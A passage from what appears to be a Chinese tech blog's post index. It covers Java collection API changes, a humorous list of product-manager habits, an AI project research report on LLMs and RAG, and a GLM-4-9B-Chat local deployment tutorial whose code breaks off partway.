HashMap 中的方法不是同步的。 TreeMap：用于按顺序存储键值对。 Iterator：用于解决枚举问题。同时还有一个专门处理列表的类 ListIterator。 HashSet 的问题：它不能保持插入顺序，即它不会按照元素添加到集合中的顺序存储元素。\nHashMap 的问题：像 HashSet 一样，它不能保持插入顺序。\nJDK 1.4 中的集合类 在 JDK 1.2 中，Sun Microsystems 引入了 LinkedHashSet 和 LinkedHashMap。\nLinkedHashSet：用于解决 HashSet 中插入顺序的问题。它按照元素添加到集合中的顺序存储元素。 LinkedHashMap：用于解决 HashMap 中插入顺序的问题。它还按照元素添加到集合中的顺序存储元素。 JDK 1.5 中的集合类 for-Each 循环：作为替代迭代器进行迭代的另一种方法 CopyOnWriteArrayList：引入以允许在修改底层列表的情况下安全地迭代元素。 CopyOnWriteArraySet：它使用内部 CopyOnWriteArrayList 进行所有操作。因此，它具有与该列表相同的基本属性。 JDK 1.6 中的集合类 NavigableSet：作为扩展了导航方法的有序集合，用于报告给定搜索目标的最近匹配。 NavigableMap：作为扩展了导航方法的 SortedMap，返回给定搜索目标的最近匹配项。 JDK 1.8 中的集合类 Java 集合框架也有新更新，以支持 lambda 表达式、流和聚合操作。\nstream() 作为父接口 Collection 的默认方法：返回一个以该集合为源的顺序 Stream。 parallelStream() 作为父接口 Collection 的默认方法：返回一个可能并行的 Stream，以这个集合作为其源。 spliterator() 作为父接口 Collection 的一个默认方法：创建一个遍历此集合中元素的 Spliterator removeIf(Predicate filter) 作为父接口 Collection 的默认方法：移除满足给定谓词的所有元素。 同样重要的是，这里的一个显著点是所有新添加的方法都是接口 Collection 内部的默认方法。这是使用默认方法的最佳示例。\nJava 9 中的集合增强 新增用于创建不可变列表、集合和映射的 of() 静态工厂方法介绍。这些方法包括：List.of(), Set.of(), Map.of(), Map.ofEntries() Arrays.mismatch()：新增方法以查找两个数组中第一个不匹配的索引。 Arrays.compare()：添加了新方法来比较提供的两个数组中的元素。 为 Arrays.equals() 添加了更多重载方法。 Enumeration.asIterator()：添加了返回 java.util.Iterator 实例的新方法。 此外，在 Stream API 中添加了一些方法，如 dropWhile、takeWhile 和 ofNullable。\nJava 10 中的集合增强 引入了 List.copyOf()、Set.copyOf() 和 Map.copyOf()，用于创建现有集合的不变副本。\nJava 11 中的集合增强 Collection.toArray(IntFunction)：添加了新的默认方法，允许将集合的元素转移到新创建的具有所需运行时类型的数组中。新方法是现有 toArray(…) 方法的重载变体。\nJava 21 中的集合增强 Java 21 在集合框架中引入了三个新接口：SequencedCollection、SequencedSet 和 SequencedMap。这些新的集合接口通过新库提供的默认方法，使我们能够访问其第一个和最后一个元素。该功能还允许我们通过简单的调用方法来获取集合的反转视图。\nSequencedCollection 序列集合 1default void addFirst(E e) 2default void addLast(E e) 3 4default E getFirst() 5default E getLast() 6 7default E removeFirst() 8default E removeLast() 9 10SequencedCollection\u0026lt;E\u0026gt; reversed() SequencedSet 序列集合 1SequencedSet\u0026lt;E\u0026gt; reversed() SequencedMap 序列映射 1default Map.Entry\u0026lt;K,V\u0026gt; firstEntry() 2default Map.Entry\u0026lt;K,V\u0026gt; lastEntry() 3 4default Map.Entry\u0026lt;K,V\u0026gt; pollFirstEntry() 5default Map.Entry\u0026lt;K,V\u0026gt; pollLastEntry() 6 7default V putFirst(K k, V v) 8default V putLast(K k, V v) 9 10SequencedMap\u0026lt;K,V\u0026gt; reversed() 11 12default SequencedSet\u0026lt;Map.Entry\u0026lt;K,V\u0026gt;\u0026gt; sequencedEntrySet() 13default SequencedSet\u0026lt;K\u0026gt; sequencedKeySet() 14default SequencedCollection\u0026lt;V\u0026gt; sequencedValues() ","date":"2024-11-12T04:13:20Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-11-12-java-ji-he-api-de-gai-jin/cover.jpg","permalink":"/p/2024-11-12-java-ji-he-api-de-gai-jin/","title":"Java 集合 API 的改进"},{"content":"产品经理，他们对产品了如指掌。收集需求，管理路线图——给我们派活儿。他们做这些的时候，还保护我们免受“业务”的干扰——不管那是什么意思。\n如果你是一位产品经理，尤其是如果你认识我，你现在可能已经在想我会说些什么了。但请别紧张！这只是一篇轻松的文章，你应该知道我真心感激你。\n只是，有时候，你们中的一些人在说话或做事上，让人有些无奈又有些好笑。并不是说到了让人无法忍受工作的地步，而是有点像 “你一直这么做真是有点儿可爱” 的感觉\n好了，让我们来看看这些习惯。以下是五大无效习惯，看看你有没有中枪！\n1. 他们总说 “这很简单” 要开发的时候，他们开口就是：“这个应该很简单吧。” 没错，他们信心满满地说这很简单，但同时又会问有没有经验丰富的人来做。真是逻辑满分。\n有些人还会更进一步，连同需求一起提供了一个工时的评估。\n我知道他们的意图是想减轻压力——让事情看起来不那么重要。\n但问题是，工作总有相应的复杂度，这是无法改变的。工程团队无法让事情变得更简单，也不可能靠意志力让一个虚构的工期变成现实。\n提前声明复杂度或工期基本上是多余的——我们需要的是清晰、简洁的需求陈述。\n2. 他们 “自己动手” 做设计 在开会的时候，时机一到，他们就会掏出他们制作的原型大作。我们当然知道他们为什么会这么做，关键是，他们又会说：“我只是做了一个基础的 demo ，大家理解我的意思就行了” 。每当这时候，开发都会集体皱眉。\n**这个问题在于——大家都知道那个 “基础 demo” 非常有可能就是最终方案。**产品在设计原型时甚至仔细考虑了布局，希望功能能完全按照他们的规格来建造。他们在展示自己的作品时，一定希望大家暗自赞叹：\n“做的挺不错的！”\n但遗憾的是，这种情况不会发生。相反，场面会有点尴尬，有些人努力忍住不笑。尤其是同一会议中的那些才华横溢的 UX/UI 专家。实际上，有些人甚至在努力忍住不哭。\n专业的人做专业的事，设计这块儿还是交给专家吧，产品同学，别太固执。\n3. 他们口述编程 需求评审会绝对是进行技术讨论的绝佳机会。这是一个安全的空间，所有想法都受欢迎。但请注意，不要过分自大和愚蠢，以至于浪费大家的时间。\n如果工程师们正在努力理解一个相当复杂的问题，而产品经理突然插话，而他却完全没有工程经验——这至少是让人分心的。\n举例来说，当开发针对某个功能进行一些深度讨论，觉得功能没那么简单，需要更多时间完成时，产品会打断他们说：“把 cookie 存一下，再刷新页面就行了呀”。 有些建议在基本的逻辑层面是有道理的，但通常和正在讨论的问题的解决方案间差了很多。建议是：与其打断对话，不如给团队一些空间去思考、讨论和解决问题。\n请不要再以口述编程的形式来试图指导开发了。\n4. 他们推崇抄袭 这些人不想让工程师们浪费时间在真正的工程上。有时候他们想的是：看和竞争对手谁抄的快。\n他们甚至会说：“你们可以直接用他们的代码来实现”\n当然，从商业的角度我能理解他们的考量及情绪，如果有一个已经存在的东西能用，那当然好。但是，你看到的其他团队的现成解决方案能够无缝嵌入到我们代码库的可能性其实几乎是零。\n5. 他们质疑复杂度 预估时间各有各的形式。我们中的一些人会仔细分析 UI，计算出每个部分需要多少天来完成。也有人喜欢按周来预估，还有一些人会给出小、中、大这样的粒度。\n但最让人愤怒的是，你给出了预估时间，却遇到了一个疑惑的表情和诸如以下的话：\n“这不就是一个简单的页面吗？”\n为什么这么侮辱人？因为这只能意味着两件事——“我觉得你很慢”或者“我觉得你在撒谎”。这两个都不是善意的想法。\n好了，我现在可以停止抱怨了。其实在与我合作过的产品经理中，带有善意和专业的还是居多的，我们都是一条流水线上的同志，虽然大家做着不同的工作，但却是一个战壕的战友，那些和大家一起创造 “产品” 的日子，真的很难忘！而那些 “不靠谱” 的产品，说实话，我已经把你忘了，因为遇到你们是遗憾，我不想总记得遗憾。\n","date":"2024-10-28T03:43:43Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-10-28-chan-pin-jing-li-de-wu-da-huai-xi-guan-ni-zhong-qiang-le-ma/cover.jpg","permalink":"/p/2024-10-28-chan-pin-jing-li-de-wu-da-huai-xi-guan-ni-zhong-qiang-le-ma/","title":"产品经理的五大坏习惯，你中枪了吗？"},{"content":"介绍 本文为我为公司所写 AI 项目的调研文件，希望能对有类似需求的创业公司有所帮助，以下为文件全文\n大语言模型 在介绍大语言模型前，先来厘清几个基本概念\n人工智能、机器学习、深度学习之间的关系 什么是机器学习？ 机器学习的基本思路\n把现实生活中的问题抽象成数学模型，并且很清楚模型中不同参数的作用 利用数学方法对这个数学模型进行求解，从而解决现实生活中的问题 评估这个数学模型，是否真正地解决了现实生活中的问题，解决得如何？ 简单来说，通过训练集，不断识别特征，不断建模，最后形成有效的模型，这个过程就叫“机器学习”！\n机器学习根据训练方法大致可以分为 3 大类：\n监督学习 ：监督学习是指我们给算法一个数据集，并且给定正确答案。机器通过数据来学习正确答案的计算方法。 非监督学习：非监督学习中，给定的数据集没有“正确答案”，所有的数据都是一样的。无监督学习的任务是从给定的数据集中，挖掘出潜在的结构。 强化学习：强化学习更接近生物学习的本质，因此有望获得更高的智能。它关注的是智能体如何在环境中采取一系列行为，从而获得最大的累积回报。通过强化学习，一个智能体应该知道在什么状态下应该采取什么行为。 什么是 NLP？ NLP（Natural Language Processing） 即 自然语言处理，是一个特定的领域，它专注于使计算机能够理解、解释和生成人类语言。NLP结合了计算机科学、人工智能和语言学，以解决与语言相关的各种问题。\nNLP 领域广泛使用机器学习技术。在机器学习出现之前，NLP 主要依赖于手工编写的规则和基于词典的方法。随着机器学习的发展，特别是深度学习技术的出现，NLP 的许多任务（如文本分类、情感分析、机器翻译等）都得到了显著改进。机器学习为 NLP 提供了强大的算法和模型，使得计算机能够从大量文本数据中学习语言的模式和结构，而不是依赖于人工编写的规则。\n随着机器学习技术的进步，特别是深度学习技术的发展，NLP 领域也取得了显著的进步。例如，卷积神经网络（CNN）和递归神经网络（RNN）在处理语言数据方面表现出色，而 Transformer 架构的出现更是推动了 NLP 领域的快速发展。\n机器学习是 NLP 的一种重要工具和手段，而 NLP 是机器学习应用的一个重要领域。LLM 是 NLP 领域中的一个特定技术，它是基于深度学习的模型，特别是神经网络，用于处理和生成自然语言文本。\nNLP 发展到今天已经进入到了 LLM 的时代，随着模型越来越大。NLP 也进入到了新的研究范式里面。学术界按发展时间线将 NLP 归纳到四个范式：\n传统的基础学习范式。 基于 word2vec 、cnn、rnn 的全监督深度学习范式 基于预训练 + fine-tune 的范式 基于预训练 + Prompt + 预测的范式 什么是大语言模型？ 大型语言模型（LLMs）是机器学习的产物。它们是基于机器学习算法，特别是深度学习中的神经网络技术构建的。\n近年来发布的一些大语言模型（10B 规模以上）\n从机器学习的观点来说，神经网络是一种具有特定模型结构的函数形式，而大语言模型则是一种基于 Transformer 结构的神经网络模型。因此，可以将大语言模型看作一种拥有大规模参数的函数，它的构建过程就是使用训练数据对于模型参数的拟合过程。\n神经网络 神经网络：它使用类似于人脑的分层结构中的互连节点或神经元。它可以创建自适应系统，计算机使用该系统来从错误中进行学习并不断改进。因此，人工神经网络可以尝试解决复杂的问题，例如更准确地总结文档或人脸识别。\nTransformer Transformer 在 2017 年由 Google 在题为《Attention Is All You Need》的论文中提出。Transformer 是一个完全基于注意力机制的编解码器模型，它抛弃了之前其它模型引入注意力机制后仍然保留的循环与卷积结构，而采用了自注意力（Self-attention）机制，在任务表现、并行能力和易于训练性方面都有大幅的提高。\n在 Transformer 出现之前，基于神经网络的机器翻译模型多数都采用了 RNN 的模型架构，它们依靠循环功能进行有序的序列操作。虽然 RNN 架构有较强的序列建模能力，但是存在训练速度慢，训练质量低等问题。\n与基于 RNN 的方法不同，Transformer 模型中没有循环结构，而是把序列中的所有单词或者符号并行处理，同时借助自注意力机制对句子中所有单词之间的关系直接进行建模，而无需考虑各自的位置。具体而言，如果要计算给定单词的下一个表征，Transformer 会将该单词与句子中的其它单词一一对比，并得出这些单词的注意力分数。注意力分数决定其它单词对给定词汇的语义影响。之后，注意力分数用作所有单词表征的平均权重，这些表征输入全连接网络，生成新表征。\nTransformer 模型本质上都是预训练语言模型，大都采用自监督学习 (Self-supervised learning) 的方式在大量语料上进行训练，也就是说，训练这些 Transformer 模型完全不需要人工标注数据。\n如何构建一个大语言模型？ 自行构建大模型需要许多资源和能力，包括数学、工程师、计算机科学领域的知识和能力。还包括训练所需的数学和硬件等资源。以数学为例，所涉及的数学知识包括：\n构建大型语言模型（LLM）所需的数学知识大多属于大学水平。以下是对这些知识的简要分类：\n构建 LLM 的主要步骤:\n确定 LLM 的用例：这是构建 LLM 的第一步，也是至关重要的一步。确定用例有助于决定模型的大小、训练数据的需求和所需的计算资源。 创建模型架构：定义神经网络架构，这是模型的核心，决定了其能力和性能。文章推荐使用变换器（Transformer）架构，因为它能够有效处理文本中的长距离依赖关系，并且可以高效地处理可变长度的输入。 创建变换器的组件：包括嵌入层（Embedding Layer）、位置编码器（Positional Encoder）、自注意力机制（Self-Attention Mechanism）、前馈网络（Feed-Forward Network）、归一化层（Normalization Layers）和残差连接（Residual Connections）。 组装编码器和解码器：编码器将输入序列转换为加权嵌入，而解码器则使用这些嵌入来生成输出。 数据整理：数据的质量对于构建有效的 LLM 至关重要。需要大量的数据来训练模型，以便它能够有效地学习语言和语义关系。 训练自定义 LLM：通过将大量文本数据通过神经网络来初始化模型的参数。这个过程包括前向传播和反向传播。 评估定制的 LLM：在训练和微调之后，测试模型是否按预期执行其预期用例。使用未见过的数据集进行测试，以确保模型能够泛化到新数据上。 微调 LLM：在初始训练之后，微调可以使 LLM 适应特定的用例。 以下是一个机器学习产品的全流程预览：\n所涉及到的技术栈全景：\n以上这些步骤是最为粗粒度的，具体到每一步都有涉及到更多具体任务的子步骤。笼统地讲，大语言模型的构建过程可以分为预训练和微调两个阶段\n预训练阶段旨在通过大规模无标注文本建立模型的基础能力，而微调阶段则使用有标注数据对于模型进行特定任务的适配，从而更好地解决下游的自然语言处理任务。\n大规模预训练 OpenAI 前首席科学家 Ilya Sutskever 在公开采访中指出大规模预训练本质上是在做一个世界知识的压缩，从而能够学习到一个编码世界知识的参数模型，这个模型能够通过解压缩所需要的知识来解决真实世界的任务。这一过程对于算力需求量极高，一般来说训练百亿模型至少需要百卡规模的算力集群（如A100 80G）联合训练数月时间（与具体的算力资源相关）；而训练千亿模型则需要千卡甚至万卡规模的算力集群，对于算力资源的消耗非常惊人。\n预训练主要包括以下几个步骤：\n原始数据的收集\n数据准备，常用的专用文本数据分为三种 多语文本、科学文本、代码\n数据预处理\n典型的预训练数据预处理流程如下图：\n分词\n预训练过程中的数据调度方法\n完成数据预处理之后，需要设计合适的调度策略来安排这些多来源的数据。数据调度（Data Scheduling）主要关注两个方面：各个数据源的混合比例以及各数据源用于训练的顺序（称为数据课程，Data Curriculum），具体的数据调度流程如图所示。\n指令微调与人类对齐 目前来说，比较广泛使用的微调技术是“指令微调”（也叫做有监督微调，Supervised Fine-tuning, SFT），通过使用任务输入与输出的配对数据进行模型训练，可以使得语言模型较好地掌握通过问答形式进行任务求解的能力。\n人类对齐是指：大语言模型与人类的期望、需求以及价值观对齐（Alignment）\n基于人类反馈的强化学习对齐方法 RLHF（Reinforcement Learning from Human Feedback），在指令微调后使用强化学习加强模型的对齐能力。在 RLHF 算法中，需要训练一个符合人类价值观的奖励模型（Reward Model）。为此，需要标注人员针对大语言模型所生成的多条输出进行偏好排序，并使用偏好数据训练奖励模型。用于判断模型的输出质量。由于强化学习需要维护更多的辅助模型进行训练，通常来说对于资源的消耗会多于指令微调，但是也远小于预训练阶段所需要的算力资源。\n成本分析 如果要研发一个大语言模型 \u0026ndash;LLM，看得见的成本主要体现在以下 3个方面（当然还有其他的，这里只说主要的）：\n研发人员：算法工程师、软件工程师等 硬件及算力资源：GPU、CPU 服务器 数据成本：训练 LLM 需要大量的文本数据，这些数据可能来自网络爬虫、开源数据集等。获取和处理这些数据需要大量的时间和金钱 研发人员\n实际上要真正要研发一个具有 10 亿参数以上规模的大语言模型，技术团队至少要有以下的配备：\n研究科学家：负责设计模型架构、开发新的训练方法和技术、探索前沿AI理论 机器学习工程师：实现和优化模型训练流程、开发数据处理管道、调优模型性能 数据科学家：收集和清洗大规模训练数据、设计数据标注方案、分析模型输出质量 软件工程师：构建分布式训练系统、开发模型服务和 API、维护基础设施和工具 硬件工程师：优化 GPU/TPU 等硬件性能、管理大规模计算集群 质量保证工程师：设计全面的测试方案、评估模型的鲁棒性和安全性、监控模型的长期性能 创业团队在人员短缺的情况下可能一人身兼多职，有可能从数据的收集、清洗，到模型的训练和评估全都一个人干了。具有一定规模的团队会分的比较清楚，每一个岗位又会扩展出一组人员，比如一组人专门搞 Pre-training\n我们以市场上常见的 “算法工程师” 为例，说明一下人才画像和成本情况。\n人材画像\n算法工程师在自研大模型科技公司中需具备将理论转化为实用产品、构建和优化模型、熟练使用开发框架、进行底层后端性能优化以及硬件适配的能力，以确保模型的高效运行和业务问题的有效解决。\n一个广义上的 “算法工程师” 在一个自研大模型的科技公司所需要具体的能力包括：\n应用（Application）：能够将理论和模型转化为实际可用的产品或服务，能够将模型应用于解决具体业务问题，比如自然语言处理、图像识别、推荐系统等。 模型（Model）：涉及构建、训练和优化机器学习或深度学习模型，可能需要设计和实现新的模型架构，或者对现有模型进行优化以提升性能，这通常需要深厚的数学和统计学基础。 框架（Framework）：指的是使用特定的编程框架来开发模型，如 TensorFlow、PyTorch 等，能够高效地实现算法，并进行模型训练和部署。 底层后端（Backend）：偏向于底层和性能优化方面的技术，如： 机器学习编译器（ML Compiler）：一种将高级的机器学习模型转换成高效的底层代码的工具。这通常涉及到模型优化、算子融合、内存管理等。大模型开发时需要使用ML编译器来优化模型，以便在特定的硬件平台上获得更好的性能。例如，通过编译器优化可以减少模型推理时的延迟，提高吞吐量，降低能耗。 kernel：核函数是一种用于支持向量机（SVM）和其他核方法中的函数，它能够隐式地将输入数据从原始特征空间映射到一个高维特征空间，使得在原始空间中非线性可分的数据在新空间中变得线性可分。核函数是提升机器学习模型性能的关键，它通过高效处理非线性问题，简化复杂计算，从而显著提高预测准确性并优化大模型开发效率 CUDA 开发：需要使用CUDA来编写自定义的GPU加速代码，以便充分利用GPU的并行处理能力，提升模型的训练和推理性能。（CUDA是NVIDIA推出的一个并行计算平台和编程模型，它允许开发者直接使用 C、C++ 和其他语言来编写在 NVIDIA GPU 上运行的程序。） 硬件（Hardware）：指的是对用于运行模型的硬件有深入理解，如 GPU、TPU 等。在大模型研发中，硬件优化是提高效率和降低成本的关键。需要了解如何优化模型以适应特定硬件，或者选择合适的硬件来加速模型训练和推理。 成本\n从招聘市场来看，一位具有 3年左右经验的普通算法工程师年薪约 30-50w 。\n而具有 3-5 年甚至更多年经验的优秀的算法工程师年薪约为 70-80w\n可见，如从 0 开始招聘大模型研发团队的成本是高昂的。\nGPU 算力\n我们以 Autodl 算力租赁平台为例，一张消费级的 RTX 4090 显卡每小时的租用费用为 2.28 ¥\n训练大模型，一般使用 GPU 集群，假设集群内有 8000 张显卡，那么一个月的训练费用为 1300多万。当然也可以不用这么多卡训练，但理论上集群卡数越多，训练得越快，卡少了，自然速度会慢好几个量级。\n可见作为计算资源的 GPU 算力的成本是比较昂贵的。\n构建大语言模型驱动的应用程序 是否自行构建大语言模型 ？ 对于我们来说，从头开始预训练 LLM 是一种不切实际的、偏离构建产品的做法。 开发和维护机器学习基础设施需要大量资源。这包括收集数据、训练和评估模型以及部署它们。即使拥有计算能力、数据和技术实力，预训练的 LLM 可能在几个月内就会过时。\n那么退而求其次，对最好的开源模型进行微调呢？\n我认为先不要微调，直到我们证明有必要。\n什么时候微调才是真正正确的选择？\n如果在用于训练现有模型的大多数开放网络规模的数据集中，没有适用于我们的用例需要的数据；并且如果我们已经构建了一个最小可行产品（MVP），证明现有模型不足以满足需求 —— 此时，才是选择微调的正确时机。（但要小心：如果优质的训练数据对模型构建者来说不容易获得，那么我们又从哪里获得它呢？）\n我认为现阶段，我们应该构建以 LLM 为驱动的应用程序，而不是直接构建大模型本身。\n由 LLM 驱动的应用程序并不是科研探索项目；对它们的投资应该与它们对企业战略目标和竞争优势的贡献相称。\n从哪儿开始？ 如果团队想要构建一个 LLM 产品，我们应该从哪里开始？\n从推理 API 和私有化部署开始 从提示工程开始，只有在提示工程无法达到所需性能水平时，才应考虑微调。 对于大模型的调用，我们可以先从使用模型厂商提供的 API 或从私有化部署开源大模型开始，通过提示词工程，一步一步得到想要的答案。当提示词工程无法满足要求时，再考虑进行模型的微调。\n做什么产品呢？ 经过之前对市场需求的了解和对同行的了解，基本上可以确定我们最开始要做的是：**“基于大语言模型的 RAG 技术落地应用解决方案 ”**产品\nRAG RAG（Retrieval Augmented Generation，检索增强生成）是 LLM 在处理任务时的一种机制。当用户提出一个问题时，RAG系 统会在大量的文档中检索与问题相关的信息，LLM 利用这些信息生成回答，其优势在于充分结合了检索和生成能力，只需外挂上知识库，即可为模型提供额外的信息输入，提高其回答的准确性，减少 “幻觉”。\n结合领域专业数据或企业私有数据，我们可以在多个场景下构建符合企业个性化需求的 AI 解决方案，如：智能客服，法律咨询小程序，牙医辅助问诊助手，教务智能助手等。\nRAG pipeline\n下图为一个经典的 RAG 流程\n以下是一些同行公司：（当然还有其他许多的公司，本文作为示例并未收录全部）\n国际：https://vectara.com/ https://www.sid.ai/ 国内：https://qanything.ai/ https://www.torchv.com/ 如果用一句话形容这些公司是做什么的，可以参考 Vectara 官网上的这句：\n如何构建一个基于大语言模型的 RAG 应用 目标 实践表明，RAG 不仅能有效提供知识、改善输出，还比微调需要更少的努力和成本。那么问题很自然的就来到如何构建一个基于大语言模型的 RAG 应用。\n要想成功，我们的产品不能仅仅是别人 API 的一层薄薄的套壳，但是我们可以先从薄的这层起步。\n构建一个原型应用（Prototype Application） 是容易的，目前我已经实现了从开源大模型的部署，到利用 LlamaIndex 框架开发基于调用 API 和本地 LLM 的 RAG 后端代码。只要加上前端页面就是一个可用的 RAG 原型应用。\n以下是我在上述过程中写的一些总结文章：\n如何用 30秒和 5 行代码写个 RAG 应用？ 提速 RAG 应用：用 DeepSeek API 替换本地 Ollama 模型，LlamaIndex 实战解析 提升RAG应用性能：使用智谱AI的GLM-4和Embedding-3模型优化文档检索 Milvus实战：如何用一个数据库提升你的AI项目性能 如何用 LlamaIndex 实现 agent 如何在服务器上部署开源大模型 GLM-4-9B-Chat 并应用到RAG应用中 完成原型应用是远远不够的，如果说我们的目标只是构建一个基于本地知识库能够进行自然语言交互的带有图形界面的知识库问答系统的话，那么这个事儿就可以放弃了，因为开源世界已经有很多答案了，比如：\nragflow(https://github.com/infiniflow/ragflow/)\nAnythingLLM(https://github.com/Mintplex-Labs/anything-llm)\nMaxKB(https://github.com/1Panel-dev/MaxKB)\nQAnything(https://github.com/netease-youdao/QAnything)\n以上这些产品我全部都部署使用过，功能上各有千秋，这些产品各自也在迭代演进中。目前看，无论开源、闭源 RAG 产品有不少，限于篇幅的原因就不一一列举了。总的来看，这个赛道进入的玩家越来越多，从市场和技术前景考量是好事情，因为是大家共同的判断，都认为 RAG 有前景才会投入。从竞争的角度考量，往后的竞争只会越来越激烈。不过对于后发公司，先发公司并没有拉开无法追赶的领先优势，原因是：技术的更新太快了，每个月甚至每半个月都有新的技术和解决方案在或大或小的领域发生。刚刚拉开的领先优势可能过一个月就因为技术淘汰而荡然无存了。\n如果我们不以 构建一个基于本地知识库能够进行自然语言交互的带有图形界面的知识库问答系统为目标的话，那么我们的目标是什么？\n理论上讲，我们的 MVP(最小可行产品) 在我的电脑上已经完成了，它就是一个利用 LlamaIndex 通过调用本地开源大语言模型实现的 RAG 原型应用。然后呢？这个问题其实并不好回答。\n前文说到我们不能仅仅是别人 API 的一层薄薄的套壳 那么就一定要走向自主研发的道路。我认为，对于我们来说，无论是 LLM 还是 RAG ，这条道路就是对 AI 祛魅的过程\n具体来说，对于我们：\n随着开发的推进，对技术了解得越来越深入， AI 对我们来说会从黑盒变成白盒 相应的，我们需要解决的问题也越来越复杂，比如如何提高回答的准确率、如何识别各种类型的文件。 对于客户：\n需要 AI 解决的问题越来越具体，使用 AI 越来熟练 越来越习惯使用 AI，进而对 AI 的要求越来越高 在技术层面，总结来说就是一个从黑盒到白盒过程的求索过程 。听起来有点儿虚，具体来说会涉及到 RAG 流程中每一个环节的细致优化。但从产品层面讲，都是实实在在的。比如可以立即着手参照现有产品进行功能开发，如上传文档、管理文档、用户体系、认证权限、数据安全、用户交互等一系列传统软件产品的功能。\n总结来说，对于自研产品，我们目前比较现实的做法就是迭代式开发，在学习中逐渐打磨自己的产品。在技术的投资上，要和企业的战略目标相称，否则不建议盲目的大规模投资。\n在产品形态上，各个公司基于自己的考量有各种选择，有选择向下做 PaaS 平台的，做基座的，我觉得我们适合选择向上，做产品包装，做 SaaS 化的 RAG ，也就是 RAGaaS\n这条路对于我们这种技术实力一般的公司不容易，任重道远！\n前提 想实现既定的战略目标需要一些前提，这些前提很具体，比如需要投入研发人员。研发人员包括：\n后端，需要会使用 Python 语言进行编程 前端 产品 测试 算法工程师 暂时不需要招算法工程师这种昂贵的资源，因为对我们来说，现有的瓶颈并不是缺少算法人材，现有人材也可以自学需要的知识。简单讲，还不到那一步，到了那一步再说。另外，需要研发团队全员对 AI 产品有认知、有热情、有学习的动力。大家都是从不会到会，如果不能持续学习，就会后劲不足。\n从资源上，至少需要少量的 GPU 算力，起初可以使用少量消费级别的显卡 如 RTX 4090，后期按需申请更多资源。\n其实还有一个前提，就是项目的原始驱动，我们做这个产品的目的是什么？一定是以变现能力为前提的，所以我们要从用户和市场的角度考虑，有没有客户？有什么客户？客户需要什么？解决了客户的什么问题 ？需要私有化部署大模型吗？需要一个私有化部署的产品吗？这才是我们真正的驱动来源。四个字：价值变现！\n什么时候开始？ “\n种一棵树最好的时间是十年前 其次是现在\n总结 做一个 RAG 应用的原型设计很容易，但使其高性能、健壮且可扩展到大型知识语料库却很困难。比如如下图所示，要面对的问题不止冰山上面的，在冰山底下隐藏着更多难题：\n参考 https://transformers.run/ https://arxiv.org/abs/1706.03762 ","date":"2024-10-22T13:37:09Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-10-22-ai-xiang-mu-li-xiang-diao-yan-bao-gao/cover.jpg","permalink":"/p/2024-10-22-ai-xiang-mu-li-xiang-diao-yan-bao-gao/","title":"AI 项目立项调研报告"},{"content":"本地服务器部署开源大模型有一个前提，就是得有 GPU 显卡资源，在我下面的例子中我租用了 autodl 中的算力资源，具体是租用了一张消费级别的 RTX 3090 显卡。\n环境配置 操作系统及版本：ubuntu 22.04 CUDA 版本： 12.1 pytorch 版本：2.3.0+cu121 pip 换源和安装依赖包。 1# 升级pip 2python -m pip install --upgrade pip 3# 更换 pypi 源加速库的安装 4pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple 5 6pip install fastapi==0.104.1 7pip install uvicorn==0.24.0.post1 8pip install requests==2.25.1 9pip install modelscope==1.9.5 10pip install transformers==4.42.4 11pip install streamlit==1.24.0 12pip install sentencepiece==0.1.99 13pip install accelerate==0.24.1 14pip install tiktoken==0.7.0 这里要注意 transformers 的版本是 4.42.4\n模型下载 GLM-4-9B-Chat 模型大小为 18 GB，下载模型大概需要 10~20 分钟。\n由于后面我们要使用一个开源的 embedding 模型 BAAI/bge-base-zh-v1.5\n所以使用以下代码下载 2 个模型文件到本地文件系统：\n运行 python download.py\n1import torch 2from modelscope import snapshot_download, AutoModel, AutoTokenizer 3import os 4model_dir = snapshot_download(\u0026#39;ZhipuAI/glm-4-9b-chat\u0026#39;, cache_dir=\u0026#39;/root/autodl-tmp\u0026#39;, revision=\u0026#39;master\u0026#39;) 5embedding_model_dir = snapshot_download(\u0026#39;BAAI/bge-base-zh-v1.5\u0026#39;, cache_dir=\u0026#39;/root/autodl-tmp\u0026#39;, revision=\u0026#39;master\u0026#39;) 模型测试 GLM 开源模型官方给了一个 Demo 方便我们做测试，以下是代码：\n运行 python trans_cli_demo.py\n1\u0026#34;\u0026#34;\u0026#34; 2This script creates a CLI demo with transformers backend for the glm-4-9b model, 3allowing users to interact with the model through a command-line interface. 4 5Usage: 6- Run the script to start the CLI demo. 7- Interact with the model by typing questions and receiving responses. 8 9Note: The script includes a modification to handle markdown to plain text conversion, 10ensuring that the CLI interface displays formatted text correctly. 11 12If you use flash attention, you should install the flash-attn and add attn_implementation=\u0026#34;flash_attention_2\u0026#34; in model loading. 13\u0026#34;\u0026#34;\u0026#34; 14 15import os 16import torch 17from threading import Thread 18from transformers import AutoTokenizer, StoppingCriteria, StoppingCriteriaList, TextIteratorStreamer, AutoModelForCausalLM 19 20MODEL_PATH = os.environ.get(\u0026#39;MODEL_PATH\u0026#39;, \u0026#39;/root/autodl-tmp/ZhipuAI/glm-4-9b-chat\u0026#39;) 21 22tokenizer = AutoTokenizer.from_pretrained(MODEL_PATH, trust_remote_code=True) 23 24model = AutoModelForCausalLM.from_pretrained( 25 MODEL_PATH, 26 trust_remote_code=True, 27 device_map=\u0026#34;auto\u0026#34; 28).eval() 29 30class StopOnTokens(StoppingCriteria): 31 def __call__(self, input_ids: torch.LongTensor, scores: torch.FloatTensor, **kwargs) -\u0026gt; bool: 32 stop_ids = model.config.eos_token_id 33 for stop_id in stop_ids: 34 if input_ids[0][-1] == stop_id: 35 return True 36 return False 37 38if __name__ == \u0026#34;__main__\u0026#34;: 39 history = [] 40 max_length = 8192 41 top_p = 0.8 42 temperature = 0.6 43 stop = StopOnTokens() 44 45 print(\u0026#34;Welcome to the GLM-4-9B CLI chat. Type your messages below.\u0026#34;) 46 while True: 47 user_input = input(\u0026#34;\\nYou: \u0026#34;) 48 if user_input.lower() in [\u0026#34;exit\u0026#34;, \u0026#34;quit\u0026#34;]: 49 break 50 history.append([user_input, \u0026#34;\u0026#34;]) 51 52 messages = [] 53 for idx, (user_msg, model_msg) in enumerate(history): 54 if idx == len(history) - 1 and not model_msg: 55 messages.append({\u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: user_msg}) 56 break 57 if user_msg: 58 messages.append({\u0026#34;role\u0026#34;: 